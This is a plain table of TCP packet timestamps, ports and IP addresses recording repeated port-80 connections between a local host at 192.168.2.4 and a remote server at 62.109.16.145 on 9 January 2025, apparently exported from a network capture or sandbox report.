Jan 9, 2025 04:12:58.434658051 CET	49823	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:58.521039963 CET	80	49823	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:58.575280905 CET	49823	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:58.632198095 CET	49823	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:58.632436037 CET	49828	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:58.637201071 CET	80	49823	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:58.637250900 CET	49823	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:58.637269020 CET	80	49828	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:58.637348890 CET	49828	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:58.637485027 CET	49828	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:58.642218113 CET	80	49828	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:58.981628895 CET	49828	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:58.987699032 CET	80	49828	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:59.324135065 CET	80	49828	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:59.372186899 CET	49828	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:59.455295086 CET	80	49828	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:59.497167110 CET	49828	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:59.572907925 CET	49834	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:59.572964907 CET	49828	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:59.578440905 CET	80	49834	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:59.578900099 CET	80	49828	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:59.578983068 CET	49828	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:59.578994989 CET	49834	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:59.579067945 CET	49834	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:59.588254929 CET	80	49834	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:59.934779882 CET	49834	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:59.940502882 CET	80	49834	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:00.336102962 CET	80	49834	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:00.387800932 CET	49834	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.467717886 CET	80	49834	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:00.512805939 CET	49834	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.528948069 CET	49834	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.529158115 CET	49841	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.534522057 CET	80	49841	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:00.534893036 CET	80	49834	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:00.534960032 CET	49834	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.535089016 CET	49841	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.535089016 CET	49841	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.539983988 CET	80	49841	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:00.587136030 CET	49841	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.587280989 CET	49844	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.592160940 CET	80	49844	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:00.594131947 CET	49844	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.594213963 CET	49844	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.599014044 CET	80	49844	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:00.638798952 CET	80	49841	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:00.950501919 CET	49844	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:00.955441952 CET	80	49844	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:01.026551962 CET	80	49841	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:01.026627064 CET	49841	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:01.281807899 CET	80	49844	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:01.325304031 CET	49844	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:01.413516998 CET	80	49844	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:01.466006994 CET	49844	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:01.553818941 CET	49851	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:01.553819895 CET	49844	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:01.558922052 CET	80	49851	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:01.558984995 CET	49851	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:01.559048891 CET	80	49844	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:01.559087038 CET	49851	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:01.559660912 CET	49844	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:01.563849926 CET	80	49851	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:01.905561924 CET	49851	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:01.910423040 CET	80	49851	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:02.295408964 CET	80	49851	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:02.340928078 CET	49851	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:02.430761099 CET	80	49851	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:02.481551886 CET	49851	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:02.558734894 CET	49858	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:02.564924955 CET	80	49858	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:02.565001965 CET	49858	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:02.565104008 CET	49858	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:02.570792913 CET	80	49858	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:02.919159889 CET	49858	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:02.924037933 CET	80	49858	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:03.293311119 CET	80	49858	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:03.340958118 CET	49858	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:03.418279886 CET	80	49858	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:03.466119051 CET	49858	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:03.562829971 CET	49858	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:03.563026905 CET	49864	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:03.568732023 CET	80	49864	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:03.568845987 CET	49864	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:03.568921089 CET	49864	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:03.568948030 CET	80	49858	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:03.569001913 CET	49858	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:03.573729992 CET	80	49864	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:03.919265985 CET	49864	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:03.924133062 CET	80	49864	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:04.309516907 CET	80	49864	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:04.356566906 CET	49864	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:04.445455074 CET	80	49864	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:04.497870922 CET	49864	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:04.737782955 CET	49864	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:04.738044024 CET	49873	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:04.743292093 CET	80	49873	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:04.743469954 CET	80	49864	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:04.743546009 CET	49864	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:04.743546009 CET	49873	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:04.743757963 CET	49873	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:04.749834061 CET	80	49873	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:05.091008902 CET	49873	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.095870018 CET	80	49873	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:05.437944889 CET	80	49873	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:05.481564045 CET	49873	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.566224098 CET	80	49873	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:05.591566086 CET	49880	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.596431017 CET	80	49880	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:05.596504927 CET	49880	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.596579075 CET	49880	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.601324081 CET	80	49880	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:05.622251034 CET	49873	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.681087017 CET	49881	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.685914040 CET	80	49881	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:05.686000109 CET	49881	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.686080933 CET	49881	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.690809011 CET	80	49881	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:05.950398922 CET	49880	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:05.955220938 CET	80	49880	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:05.955347061 CET	80	49880	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.044276953 CET	49881	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.049125910 CET	80	49881	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.273052931 CET	80	49880	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.325324059 CET	49880	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.401577950 CET	80	49880	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.405934095 CET	80	49881	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.450428963 CET	49881	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.450432062 CET	49880	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.539259911 CET	80	49881	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.590969086 CET	49881	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.662398100 CET	49851	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.665721893 CET	49873	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.665798903 CET	49880	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.665832043 CET	49881	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.666112900 CET	49888	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.670912981 CET	80	49888	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.674062967 CET	49888	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.675013065 CET	80	49873	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.675023079 CET	80	49880	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.675057888 CET	80	49881	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:06.675076962 CET	49873	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.675100088 CET	49880	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.675129890 CET	49881	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.678750992 CET	49888	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:06.683501959 CET	80	49888	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:07.028755903 CET	49888	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:07.033575058 CET	80	49888	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:07.377266884 CET	80	49888	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:07.419068098 CET	49888	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:07.517889023 CET	80	49888	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:07.559741020 CET	49888	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:07.633891106 CET	49888	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:07.634186029 CET	49894	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:07.639445066 CET	80	49888	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:07.639456987 CET	80	49894	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:07.639502048 CET	49888	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:07.639542103 CET	49894	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:07.639667034 CET	49894	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:07.644706964 CET	80	49894	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:07.997292042 CET	49894	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:08.002134085 CET	80	49894	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:08.351962090 CET	80	49894	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:08.403458118 CET	49894	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:08.485635996 CET	80	49894	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:08.528564930 CET	49894	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:08.604720116 CET	49894	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:08.604775906 CET	49903	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:08.609570980 CET	80	49903	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:08.609726906 CET	80	49894	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:08.609802961 CET	49894	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:08.609812021 CET	49903	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:08.609973907 CET	49903	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:08.614991903 CET	80	49903	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:08.966981888 CET	49903	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:08.972063065 CET	80	49903	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:09.320389986 CET	80	49903	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:09.372236013 CET	49903	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:09.449242115 CET	80	49903	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:09.497241974 CET	49903	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:09.572184086 CET	49903	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:09.572571993 CET	49911	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:09.578634977 CET	80	49903	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:09.578686953 CET	49903	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:09.578913927 CET	80	49911	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:09.578974962 CET	49911	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:09.579055071 CET	49911	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:09.585455894 CET	80	49911	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:09.934837103 CET	49911	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:09.939702034 CET	80	49911	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:10.268341064 CET	80	49911	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:10.309712887 CET	49911	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:10.399321079 CET	80	49911	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:10.450345993 CET	49911	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:10.527378082 CET	49911	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:10.527681112 CET	49917	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:10.534816980 CET	80	49911	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:10.534830093 CET	80	49917	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:10.534878016 CET	49911	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:10.534917116 CET	49917	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:10.535041094 CET	49917	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:10.540925026 CET	80	49917	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:10.887917042 CET	49917	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:10.892745972 CET	80	49917	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.234301090 CET	80	49917	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.278495073 CET	49917	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.363326073 CET	80	49917	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.403491020 CET	49917	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.404139042 CET	49917	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.404406071 CET	49922	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.409229040 CET	80	49917	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.409241915 CET	80	49922	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.409284115 CET	49917	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.409321070 CET	49922	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.409427881 CET	49922	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.414201975 CET	80	49922	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.478081942 CET	49922	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.492605925 CET	49923	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.498120070 CET	80	49923	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.498207092 CET	49923	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.498332024 CET	49923	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.503788948 CET	80	49923	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.530848980 CET	80	49922	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.856829882 CET	49923	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:11.861646891 CET	80	49923	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.896524906 CET	80	49922	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:11.896579981 CET	49922	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:12.193367958 CET	80	49923	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:12.247262001 CET	49923	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:12.322757959 CET	80	49923	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:12.372227907 CET	49923	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:12.446176052 CET	49923	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:12.446459055 CET	49931	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:12.451287031 CET	80	49923	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:12.451299906 CET	80	49931	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:12.451339006 CET	49923	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:12.451400995 CET	49931	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:12.451503038 CET	49931	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:12.456557035 CET	80	49931	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:12.809791088 CET	49931	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:12.815792084 CET	80	49931	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:13.142041922 CET	80	49931	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:13.184737921 CET	49931	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:13.273794889 CET	80	49931	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:13.325360060 CET	49931	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:13.401742935 CET	49931	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:13.402038097 CET	49936	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:13.408925056 CET	80	49931	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:13.408938885 CET	80	49936	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:13.408984900 CET	49931	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:13.409014940 CET	49936	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:13.409130096 CET	49936	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:13.415285110 CET	80	49936	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:13.763046980 CET	49936	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:13.768781900 CET	80	49936	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:14.132550001 CET	80	49936	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:14.184741020 CET	49936	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:14.271169901 CET	80	49936	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:14.325350046 CET	49936	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:14.426660061 CET	49943	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:14.432183027 CET	80	49943	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:14.432250023 CET	49943	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:14.432518005 CET	49943	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:14.438937902 CET	80	49943	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:14.778716087 CET	49943	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:14.783513069 CET	80	49943	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:15.149497986 CET	80	49943	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:15.200361013 CET	49943	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:15.281363010 CET	80	49943	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:15.325361013 CET	49943	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:15.401345968 CET	49943	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:15.401632071 CET	49949	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:15.406356096 CET	80	49943	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:15.406404018 CET	80	49949	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:15.406455994 CET	49943	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:15.406486988 CET	49949	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:15.406589985 CET	49949	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:15.411395073 CET	80	49949	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:15.762948036 CET	49949	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:15.767723083 CET	80	49949	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.104242086 CET	80	49949	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.153603077 CET	49949	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.235289097 CET	80	49949	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.278491974 CET	49949	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.354131937 CET	49949	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.354552031 CET	49957	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.359113932 CET	80	49949	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.359164000 CET	49949	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.359325886 CET	80	49957	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.359392881 CET	49957	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.359520912 CET	49957	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.364221096 CET	80	49957	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.497844934 CET	49957	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.497953892 CET	49959	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.503691912 CET	80	49959	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.503773928 CET	49959	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.503875971 CET	49959	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.509464025 CET	80	49959	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.547631025 CET	80	49957	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.616252899 CET	49936	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.619082928 CET	49962	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.624305964 CET	80	49962	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.624394894 CET	49962	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.624519110 CET	49962	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.629965067 CET	80	49962	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.830688000 CET	80	49957	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.830751896 CET	49957	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.856718063 CET	49959	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.861495018 CET	80	49959	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.861562967 CET	80	49959	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:16.982031107 CET	49962	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:16.986872911 CET	80	49962	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:17.192305088 CET	80	49959	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:17.247241020 CET	49959	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:17.315649033 CET	80	49962	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:17.325798988 CET	80	49959	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:17.356621027 CET	49962	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:17.372231007 CET	49959	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:17.452053070 CET	80	49962	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:17.497262955 CET	49962	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.058881044 CET	49959	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.058958054 CET	49962	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.059230089 CET	49970	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.064032078 CET	80	49970	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:18.064086914 CET	49970	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.064121962 CET	80	49959	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:18.064131975 CET	80	49962	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:18.064171076 CET	49959	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.064191103 CET	49962	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.064265966 CET	49970	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.069006920 CET	80	49970	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:18.419202089 CET	49970	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.424115896 CET	80	49970	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:18.763372898 CET	80	49970	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:18.809747934 CET	49970	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.936783075 CET	80	49970	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:18.937700033 CET	49970	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:18.943953991 CET	80	49970	62.109.16.145	192.168.2.4
Jan 9, 2025 04:13:18.944005966 CET	49970	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:19.068883896 CET	49978	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:13:19.073760986 CET	80	49978	62.109.16.145	192.168.2.4
